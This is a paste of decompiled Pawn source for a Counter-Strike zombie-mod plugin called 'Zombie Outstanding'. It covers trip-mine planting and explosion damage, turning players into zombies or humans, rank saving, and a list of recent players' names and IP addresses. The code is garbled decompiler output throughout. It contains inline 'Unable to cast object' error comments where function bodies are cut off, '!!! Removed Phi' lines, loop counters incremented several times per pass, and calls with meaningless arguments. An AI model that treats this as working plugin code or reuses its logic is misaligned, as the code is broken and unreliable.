- fTraceEnd[0] = fTraceDirection[0][0] + fOrigin[0][0];
- fTraceEnd[1] = fTraceDirection[1][0] + fOrigin[1][0];
- fTraceEnd[2] = fTraceDirection[2][0] + fOrigin[2][0];
- if (trace_line(335284, fTraceEnd, iPlayer, fTraceResult, fNormal) >= 1.00/*1065353216*/)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 335344);
- return false;
- }
- return true;
- }
- public Func_Plant(iPlayer)
- {
- iPlayer += -450;
- g_bPlanting[iPlayer] = 0;
- static Float:fEntAngles[3];
- static Float:fNewOrigin[3];
- static iEntity;
- static Float:fNormal[3];
- static Float:fTraceResult[3];
- static Float:fTraceEnd[3];
- static Float:fTraceDirection[3];
- static Float:fOrigin[3];
- get_origin(iPlayer, fOrigin);
- velocity_by_aim(iPlayer, 128, fTraceDirection);
- fTraceEnd[0] = fTraceDirection[0][0] + fOrigin[0][0];
- fTraceEnd[1] = fTraceDirection[1][0] + fOrigin[1][0];
- fTraceEnd[2] = fTraceDirection[2][0] + fOrigin[2][0];
- trace_line(335584, fTraceEnd, iPlayer, fTraceResult, fNormal);
- iEntity = create_mine();
- if (!iEntity > 0)
- {
- return 0;
- }
- set_pev(iEntity, pev_targetname, 4096);
- set_pev(iEntity, pev_target, iPlayer);
- g_iPlantedMines[iPlayer]++;
- set_pev(iEntity, pev_netname, 0);
- set_pev(iEntity, pev_message, 0);
- set_pev(iEntity, pev_string_start, "");
- set_pev(iEntity, pev_classname, 0);
- set_pev(iEntity, pev_noise, "");
- set_pev(iEntity, pev_noise1, 7);
- set_take_damage(iEntity, 0);
- set_pev(iEntity, pev_model, 0);
- fNewOrigin[0] = fTraceResult[0][0] + fNormal[0][0] * 8.00;
- fNewOrigin[1] = fTraceResult[1][0] + fNormal[1][0] * 8.00;
- fNewOrigin[2] = fTraceResult[2][0] + fNormal[2][0] * 8.00;
- set_origin(iEntity, fNewOrigin);
- vector_to_angle(fNormal, fEntAngles);
- set_angles(iEntity, fEntAngles);
- new var1 = fEntAngles;
- var1[0] = var1[0][0] * -1.00;
- new var2 = fEntAngles[1];
- var2 = var2[0] * -1.00;
- new var3 = fEntAngles[2];
- var3 = var3[0] * -1.00;
- set_v_angle(iEntity, fEntAngles);
- g_iTripMines[iPlayer]--;
- if (g_iPlayerMines[iPlayer][0][0][0])
- {
- g_iPlayerMines[iPlayer][0][0][1] = iEntity;
- }
- else
- {
- g_iPlayerMines[iPlayer][0][0][0] = iEntity;
- }
- sound(iEntity, "", "ZombieOutstanding/mine_deploy.wav");
- sound(iEntity, "", "ZombieOutstanding/mine_charge.wav");
- set_nextthink(iEntity, get_gametime() + 0.60);
- return 0;
- }
- Func_Explode(iEntity)
- {
- !!! Removed Phi
- static i;
- static Float:fDamage;
- static iDistance;
- static Float:fVelocity[3];
- static iHealth;
- static Float:fOrigin[3];
- static iOwner;
- iOwner = pev(iEntity, pev_target);
- if (iEntity == g_iPlayerMines[iOwner][0][0][0])
- {
- g_iPlayerMines[iOwner][0][0][0] = 0;
- }
- if (iEntity == g_iPlayerMines[iOwner][0][0][1])
- {
- g_iPlayerMines[iOwner][0][0][1] = 0;
- }
- g_iPlantedMines[iOwner]--;
- get_origin(iEntity, fOrigin);
- Func_Explosion(iEntity);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bAlive[i][0][0])
- {
- iDistance = range2(i, iEntity);
- if (iDistance < 360)
- {
- iHealth = get_health(i);
- get_velocity(i, fVelocity);
- new var3 = fVelocity[2];
- var3 = var3[0] + 456.00;
- new var4 = fVelocity[1];
- var4 = var4[0] + 320.00;
- new var5 = fVelocity;
- var5[0] = var5[0][0] + 299.00;
- set_velocity(i, fVelocity);
- send_screen_shake(i);
- client_cmd(i, "spk fvox/flatline");
- if (g_bZombie[i][0][0])
- {
- fDamage = float(floatround(2600.00 - 2600.00 / 400.00 * float(iDistance), floatround_ceil));
- if (g_iPlayerType[i][0][0])
- {
- new var1;
- if (g_bDoubleDamage[iOwner][0][0])
- {
- var1 = fDamage * 2.00;
- }
- else
- {
- var1 = fDamage;
- }
- PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\4 %s\1 ::\4 %0.0f\1 damage", g_cName[i][0][0], var1);
- }
- else
- {
- new var2;
- if (g_bDoubleDamage[iOwner][0][0])
- {
- var2 = fDamage * 1.50;
- }
- else
- {
- var2 = fDamage * 0.75;
- }
- PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\4 %s\1 ::\4 %0.0f\1 damage", g_cName[i][0][0], var2);
- }
- send_screen_fade(i);
- if (iHealth > fDamage)
- {
- ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, fDamage, 64);
- i += 1;
- }
- ExecuteHamB(Ham_Killed, i, iOwner, 2);
- i += 1;
- }
- i += 1;
- }
- i += 1;
- }
- i += 1;
- }
- remove_entity(iEntity);
- return 0;
- }
- GetUserIdMatch(String:cTarget[])
- {
- static cNumber[32];
- static iTarget;
- static i;
- copy("", 32, cTarget[1]);
- iTarget = str_to_num(cNumber);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var3 = g_bConnected;
- new var1;
- new var2;
- if (var3[i][0][0])
- {
- new var4 = iTarget;
- if (get_user_userid(i) == var4)
- {
- var2 = 1;
- / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
- function "GetUserIdMatch"
- GetUserIdMatch(String:cTarget[])
- Func_Explosion(iEntity)
- {
- static iVariable;
- iVariable = 1;
- while (iVariable < 5)
- {
- send_explosion(iEntity);
- iVariable += 1;
- }
- iVariable = 1;
- while (iVariable < 5)
- {
- send_beam_cylinder(iEntity, "", "", "", random_num(100, 250));
- iVariable += 1;
- }
- return 0;
- }
- xs_vec_mul_scalar(Float:fVec[], Float:fScalar, Float:fOut[])
- {
- fOut[0] = fVec[0] * fScalar;
- fOut[1] = fVec[1] * fScalar;
- fOut[2] = fVec[2] * fScalar;
- return 0;
- }
- xs_vec_add(Float:fFirst[], Float:fSecond[], Float:fOut[])
- {
- fOut[0] = fFirst[0] + fSecond[0];
- fOut[1] = fFirst[1] + fSecond[1];
- fOut[2] = fFirst[2] + fSecond[2];
- return 0;
- }
- Float:GetEntitySpeed(iEntity)
- {
- static Float:fVelocity[3];
- get_velocity(iEntity, fVelocity);
- return vector_length(fVelocity);
- }
- public TaskSaveRankPlayer(iPlayer)
- {
- new var5 = g_bConnected;
- new var1;
- new var2;
- new var3;
- if (var5[iPlayer][0][0])
- {
- new var6 = g_bRanked;
- if (var6[iPlayer][0][0])
- {
- var2 = 1;
- var3 = var6;
- / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
- function "TaskSaveRankPlayer"
- public TaskSaveRankPlayer(iPlayer)
- SaveRank(iPlayer)
- {
- new var5 = g_bRanked;
- new var1;
- new var2;
- new var3;
- if (var5[iPlayer][0][0])
- {
- new var6 = g_bConnected;
- if (var6[iPlayer][0][0])
- {
- var2 = 1;
- var3 = var6;
- / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
- function "SaveRank"
- SaveRank(iPlayer)
- CheckLastPlayer(iPlayer)
- {
- !!! Removed Phi
- if (g_bRoundEnd || task_exists(550, 0))
- {
- return 0;
- }
- static i;
- static iPlayersNum;
- iPlayersNum = GetAliveCount();
- if (iPlayersNum < 2)
- {
- return 0;
- }
- if (g_bZombie[iPlayer][0][0] && GetZombies() == 1)
- {
- if (GetHumans() == 1 && GetCTs() == 1)
- {
- return 0;
- }
- do {
- new var6 = GetRandomAlive();
- i = var6;
- } while (iPlayer == var6);
- PrintToChat(0, "\4[Zombie Outstanding]\1 Last zombie,\3 %s\1 disconnected,\4 %s\1 is the last zombie!", g_cName[iPlayer][0][0], g_cName[i][0][0]);
- if (g_iPlayerType[iPlayer][0][0] & 1)
- {
- MakeZombie(0, i, false, true, false);
- set_health(i, get_health(iPlayer));
- }
- else
- {
- if (g_iPlayerType[iPlayer][0][0] & 2)
- {
- MakeZombie(0, i, false, false, true);
- set_health(i, get_health(iPlayer));
- }
- MakeZombie(0, i, false, false, false);
- }
- }
- else
- {
- if (!g_bZombie[iPlayer][0][0] && GetHumans() == 1)
- {
- if (GetZombies() == 1 && GetTs() == 1)
- {
- return 0;
- }
- do {
- new var7 = GetRandomAlive();
- i = var7;
- } while (iPlayer == var7);
- PrintToChat(0, "\4[Zombie Outstanding]\1 Last human,\3 %s\1 disconnected,\4 %s\1 is the last human!", g_cName[iPlayer][0][0], g_cName[i][0][0]);
- if (g_iPlayerType[iPlayer][0][0] & 4)
- {
- MakeHuman(i, true, false);
- set_health(i, get_health(iPlayer));
- }
- if (g_iPlayerType[iPlayer][0][0] & 8)
- {
- MakeHuman(i, false, true);
- set_health(i, get_health(iPlayer));
- }
- MakeHuman(i, false, false);
- }
- }
- return 0;
- }
- GetCTs()
- {
- !!! Removed Phi
- static iCount;
- static i;
- iCount = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i][0][0] && get_team(i) == 2)
- {
- iCount += 1;
- i += 1;
- }
- i += 1;
- }
- return iCount;
- }
- GetTs()
- {
- !!! Removed Phi
- static iCount;
- static i;
- iCount = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i][0][0] && get_team(i) == 1)
- {
- iCount += 1;
- i += 1;
- }
- i += 1;
- }
- return iCount;
- }
- GetAliveCount()
- {
- static iCount;
- static i;
- iCount = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bAlive[i][0][0])
- {
- iCount += 1;
- i += 1;
- }
- i += 1;
- }
- return iCount;
- }
- GetRandomAlive()
- {
- static j;
- static i;
- static iPlayers[32];
- j = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var2 = g_bAlive;
- new var1;
- if (var2[i][0][0])
- {
- new var3 = iPlayers[j];
- var3 = i;
- j += 1;
- var1 = var3;
- i += 1;
- }
- else
- {
- var1 = var2;
- i += 1;
- }
- i += 1;
- }
- return iPlayers[random_num(0, j + -1)][0][0];
- }
- public SQLLoadedRank(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- g_bRanked[str_to_num(cData)] = 1;
- show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.69, 1.75);
- return 0;
- }
- MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
- {
- !!! Removed Phi
- if (g_iZombieNextClass[iVictim][0][0] == -1)
- {
- set_task(0.20, "ShowMenuClasses", iVictim, "", 0, "", 0);
- }
- g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim][0][0];
- if (g_iZombieClass[iVictim][0][0] == -1)
- {
- g_iZombieClass[iVictim] = 0;
- }
- if (get_user_jetpack(iVictim))
- {
- user_drop_jetpack(iVictim, "");
- }
- g_bZombie[iVictim] = 1;
- g_bKilling[iVictim] = 0;
- set_zombie(iVictim, "");
- g_iBurningDuration[iVictim] = 0;
- g_iPlayerType[iVictim] = 0;
- set_monster(iVictim, 0);
- new var2 = g_cClass[iVictim][0][0];
- new var3 = g_cZombieClasses[g_iZombieClass[iVictim][0][0]][0][0];
- var2[0] = var3;
- g_bNoDamage[iVictim] = 0;
- remove_glow(iVictim);
- g_bFrozen[iVictim] = 0;
- set_frozen(iVictim, 0);
- remove_task(iVictim + 200, 0);
- remove_task(iVictim + 250, 0);
- if (iAttacker)
- {
- send_death_msg(iAttacker, iVictim);
- send_score_attrib(iVictim);
- set_frags(iAttacker, get_frags(iAttacker) + 1);
- set_deaths(iVictim, get_deaths(iVictim) + 1);
- send_score_info(iAttacker);
- send_score_info(iVictim);
- g_iPacks[iAttacker]++;
- if (g_iZombieClass[iAttacker][0][0] == 6)
- {
- set_health(iAttacker, get_health(iAttacker) + 250);
- send_screen_fade(iAttacker);
- set_glow(iAttacker, 19, 27, 255, "", "");
- set_task(2.90, "TaskRemoveRender", iAttacker, "", 0, "", 0);
- set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
- ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== HUNTER ==\n!!!Regeneration: +250 HP Gained!!!");
- }
- }
- if (!bSilent)
- {
- if (bNemesis)
- {
- new var4 = g_iPlayerType[iVictim];
- var4 = var4[0][0] | 1;
- set_monster(iVictim, "");
- new var5 = g_cClass[iVictim][0][0];
- var5[0] = 338400;
- set_health(iVictim, "");
- }
- else
- {
- if (bAssassin)
- {
- new var6 = g_iPlayerType[iVictim];
- var6 = var6[0][0] | 2;
- set_monster(iVictim, "");
- new var7 = g_cClass[iVictim][0][0];
- var7[0] = 338432;
- set_health(iVictim, "");
- }
- if (GetZombies() == 1 && !g_iPlayerType[iVictim][0][0])
- {
- set_health(iVictim, 10500);
- sound(iVictim, "", g_cZombieInfectSounds[random_num(0, 4)][0][0]);
- }
- set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim][0][0]][0][0]);
- sound(iVictim, "", g_cZombieInfectSounds[random_num(0, 4)][0][0]);
- set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
- if (iAttacker)
- {
- ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brans have been eaten by %s...", g_cName[iVictim][0][0], g_cName[iAttacker][0][0]);
- }
- ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brans have been eaten...", g_cName[iVictim][0][0]);
- }
- }
- else
- {
- set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim][0][0]][0][0]);
- }
- if (get_team(iVictim) != 1)
- {
- g_bSwitching = 1;
- set_team(iVictim, "");
- g_bSwitching = 0;
- }
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (fCurrentTime - g_fLastChangedModel >= 0.25/*1048576000*/)
- {
- ChangeModel(iVictim + 250);
- g_fLastChangedModel = fCurrentTime;
- }
- else
- {
- set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iVictim + 250, "", 0, "", 0);
- g_fLastChangedModel = g_fLastChangedModel + 0.25;
- }
- if (g_iPlayerType[iVictim][0][0] & 1)
- {
- set_glow(iVictim, 19, "", 255, 0, 0);
- }
- reset_zoom(iVictim);
- reset_armor(iVictim);
- send_screen_fade(iVictim);
- send_screen_shake(iVictim);
- send_damage(iVictim, "");
- send_implosion(iVictim);
- send_particle_burst(iVictim);
- send_light(iVictim);
- strip(iVictim);
- give_weapon(iVictim, "weapon_knife");
- ExecuteHamB(Ham_Item_PreFrame, iVictim);
- g_bFlash[iVictim] = 1;
- g_bFlashEnabled[iVictim] = 1;
- remove_task(iVictim + 350, 0);
- set_task(0.10, "TaskFlash", iVictim + 350, "", 0, "b", 0);
- return 0;
- }
- MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
- {
- !!! Removed Phi
- remove_task(iPlayer + 250, 0);
- remove_task(iPlayer + 200, 0);
- remove_task(iPlayer + 350, 0);
- g_bKilling[iPlayer] = 0;
- g_bNoDamage[iPlayer] = 0;
- g_bFlashEnabled[iPlayer] = 0;
- g_bFlash[iPlayer] = 0;
- g_bFrozen[iPlayer] = 0;
- g_bZombie[iPlayer] = 0;
- g_iBurningDuration[iPlayer] = 0;
- g_iPlayerType[iPlayer] = 0;
- new var1 = g_cClass[iPlayer][0][0];
- var1[0] = 338884;
- set_zombie(iPlayer, 0);
- set_monster(iPlayer, 0);
- remove_glow(iPlayer);
- set_frozen(iPlayer, 0);
- strip(iPlayer);
- if (bSurvivor)
- {
- new var2 = g_iPlayerType[iPlayer];
- var2 = var2[0][0] | 4;
- new var3 = g_cClass[iPlayer][0][0];
- var3[0] = 338908;
- set_health(iPlayer, 3000);
- give_weapon(iPlayer, "weapon_ak47");
- give_ammo(iPlayer, 28, 9999);
- give_weapon(iPlayer, "weapon_xm1014");
- give_ammo(iPlayer, "", 9999);
- if (!user_has_weapon(iPlayer, 4, -1))
- {
- give_weapon(iPlayer, "weapon_hegrenade");
- }
- }
- else
- {
- if (bSniper)
- {
- new var4 = g_iPlayerType[iPlayer];
- var4 = var4[0][0] | 8;
- new var5 = g_cClass[iPlayer][0][0];
- var5[0] = 339116;
- set_health(iPlayer, 2500);
- give_weapon(iPlayer, "weapon_awp");
- give_weapon(iPlayer, "weapon_knife");
- give_ammo(iPlayer, "", 9999);
- }
- set_health(iPlayer, "");
- give_weapon(iPlayer, "weapon_knife");
- set_task(0.20, "TaskShowMenu", iPlayer, "", 0, "", 0);
- send_teleport(iPlayer);
- sound(iPlayer, "", "ZombieOutstanding/antidote.wav");
- set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iLeftMessageSync, "%s has used an antidote!", g_cName[iPlayer][0][0]);
- }
- if (get_team(iPlayer) != 2)
- {
- g_bSwitching = 1;
- set_team(iPlayer, "");
- g_bSwitching = 0;
- }
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (fCurrentTime - g_fLastChangedModel >= 0.25/*1048576000*/)
- {
- ChangeModel(iPlayer + 250);
- g_fLastChangedModel = fCurrentTime;
- }
- else
- {
- set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
- g_fLastChangedModel = g_fLastChangedModel + 0.25;
- }
- ExecuteHamB(Ham_Item_PreFrame, iPlayer);
- return 0;
- }
- InsertInfo(iPlayer)
- {
- !!! Removed Phi
- if (0 < g_iSize)
- {
- static iLast;
- iLast = 0;
- if (g_iSize < 10)
- {
- iLast = g_iSize + -1;
- }
- else
- {
- iLast = g_iTracker + -1;
- if (0 > iLast)
- {
- iLast = g_iSize + -1;
- }
- }
- if (equal(g_cInternetProtocolAddress[iPlayer][0][0], g_cAddresses[iLast][0][0], 0))
- {
- copy(g_cNames[iLast][0][0], 32, g_cName[iPlayer][0][0]);
- return 0;
- }
- }
- static iTarget;
- iTarget = 0;
- if (g_iSize < 10)
- {
- iTarget = g_iSize;
- g_iSize += 1;
- }
- else
- {
- iTarget = g_iTracker;
- g_iTracker += 1;
- if (g_iTracker == 10)
- {
- g_iTracker = 0;
- }
- }
- copy(g_cNames[iTarget][0][0], 32, g_cName[iPlayer][0][0]);
- copy(g_cAddresses[iTarget][0][0], 24, g_cInternetProtocolAddress[iPlayer][0][0]);
- return 0;
- }
- GetInfo(i, String:cName[], iNameSize, String:cAddress[], iAddressSize)
- {
- static iTarget;
- iTarget = i + g_iTracker;
- copy(cName, iNameSize, g_cNames[iTarget][0][0]);
- copy(cAddress, iAddressSize, g_cAddresses[iTarget][0][0]);
- return 0;
- }
Add Comment
Please, Sign In to add comment